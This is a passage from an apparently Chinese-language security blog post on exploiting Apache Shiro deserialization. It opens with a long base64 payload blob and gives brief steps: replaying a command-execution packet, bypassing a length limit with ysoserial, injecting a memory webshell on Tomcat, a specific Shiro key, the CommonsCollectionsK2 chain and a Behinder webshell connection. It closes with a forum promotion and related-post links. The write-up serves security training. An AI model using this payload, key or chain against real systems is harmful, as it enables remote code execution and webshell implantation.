QryXMGl7b4dZKYQ57oJ49TXKmtDcolHaRukPyYF4ZaluwkerxZpc/9BmHfQ36soZvCU3600zsS6xRzld AM77lsW6HxbfC6S7spNHOX8OjfRf/fJhtw3hQ9Lv1SFxhCEWbmqv++MMkaDNkNqFWynFCSvi46jF8x+y

+T3LMaYl9jhfUoQt/FkGtdi6aLdMD0x2ZqoH7uarq3wcqlt537ORm1qzUgrCpwnZww1vZDfJbflAHJsx ZVjPX1Hl66G4XuLxezdS5LwQAZ53xFkdFK8937rKUCgJLMS9rlr2Ju/DRT9gsM1gVq2QUIVDk1Vi7r5x y2sjlMsAsw0mEI7PA7JDvVsDijAJvKM0o9YjOdNJRwy9GKkeTgcVtIVRkoeGtafbZkzoYY2jkmQY9JIr QwdNWNtMG18gK691iwaa3v0+lZ0NdIkEH6CfaYy0drH9nGQImHHz1KOKbapM85CSi++RBjzEkkVWGO0Z IW9k8jKY2f0Pwg83ybKG5YRzvgVoMM/+4lcPFavRRfLymx4E/j35ZcS0m3CAuYASdYUJVoCKX4PRyCQV h6+ryi/qkWjWHtyzB0tijiU1C/7GxilmzApDGLn7hHwTIsy5IVEh1x1Yc+BtxBoBMlDqp/H/T1zWef2h mcFfJUWw5UOLfDCGH6vd88FghnTtzs7VtVFxDF4ieqa/8IBW4ZAQ4aNVcmS9dnu8qDEwAehLvc8b/Sz5

/tKkO/bZOOX0cEcKFb6CZ8ZL2R+D7Vi1Loky0DlQCLoBJkBoUm3m9wxvSc5XufQIlYanPZoQFZDhI434

CJGeOLL2C4i3J7uRQW8zafXU3EKaeatm0szcPnbOre55pY2QTRbQwh2nPTEO0jAabg+UziuveYYRs8ji pwEpYFTiD60D8nSNq2YujEMy5Jt1xClMSFouB0SQC2RHLC6F7z3u++6v3QWkuQj5b1UC5tz8ABQ5VTYH

hFn2OdiJtX6TRk3e993TU3ML3pQMe1RJaXd5dPgyL1DwB0IgxaYt83rIZv1ydkbs9VKVJqXyr76xvjR1 K48pjvitWUPMr2baVVvUOpOYvenxfGDpd5mBgiPtXldjERyhdzL/uIVTvNooW7rXUlEZWazHY4E5l635 9cHBFFd9Iny1xpmPWj7YyefYDn+z0Fbwbwdmh3Iu0iHNrsOTHfHkYsBPSpD6iUEfjNF8uyKCUWrfEm0H pGZbi3s+4DEZsH8458XoMek/+AEcD2J/qkqQluOVtgk2HZ4sJhMpvzpiwnxIUC6tFJKoH01WF71zHkRe rjUvWSuUgJGtoSs/ZfN30vY2CTNyagMQHLRI0PgAhnpQNZoiQc6k+Z2QXhz7QFrQPdy2Bgkm2mr2nntB bh1ozt37x9kuaCanFfQSH/0MiWwkY9SzHOJM5b408Np2+u9MslCAinue/gpuguy1fVyt18fu7yZmbc3T VlqK6psdXp5eNzRoL26ByrziHccu4Amw54a9T6BJlRzvpn6fwZmZMyegqtRtFla5pM4sQwAOyyGQvcLg sKpnRna/07bTc6lXtdx1JKtk7ZjwLCoO7fkcMd8pBbBnZe8CzHVM/uSm9v+ceEDWu5QKyL65krTjd0vO WuXmsakRn00XnnMO20pU4vZHUyhYhyrCptxkyWnVT1RbW4jHDYZt7ZVpAa/4JweIMPhgxVGfYYDMG/hh RPgu2hAOddknNOhv6YZo8w009hH2jBp6AWdYnsx5oUNv5AlN415K6w==

抓取利群执行命令的数据包 之后直接替换

发现目标响应400这里判断目标进行了长度限制,这里继续利用yso的长度限制让偶共

之后可以看到

发送正常

这里docker环境有问题 无法注入内存马

这里换成了tomcat环境

Key:kPH+bIxk5D2deZiIxcaaaA==

使用利用链:CommonsCollectionsK2

又是400直接绕过

冰蝎链接

大家伙,如果想学习更多的知识和联系我们,可以看我们的论坛:

老鑫安全https://www.laoxinsec.com/

哔哩哔哩有免杀基础课程,搜索账号:老鑫安全培训,老鑫安全二进制

相关推荐
用户962377954481 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主2 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954484 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954484 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star4 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954484 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher6 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行9 天前
网络安全总结
安全·web安全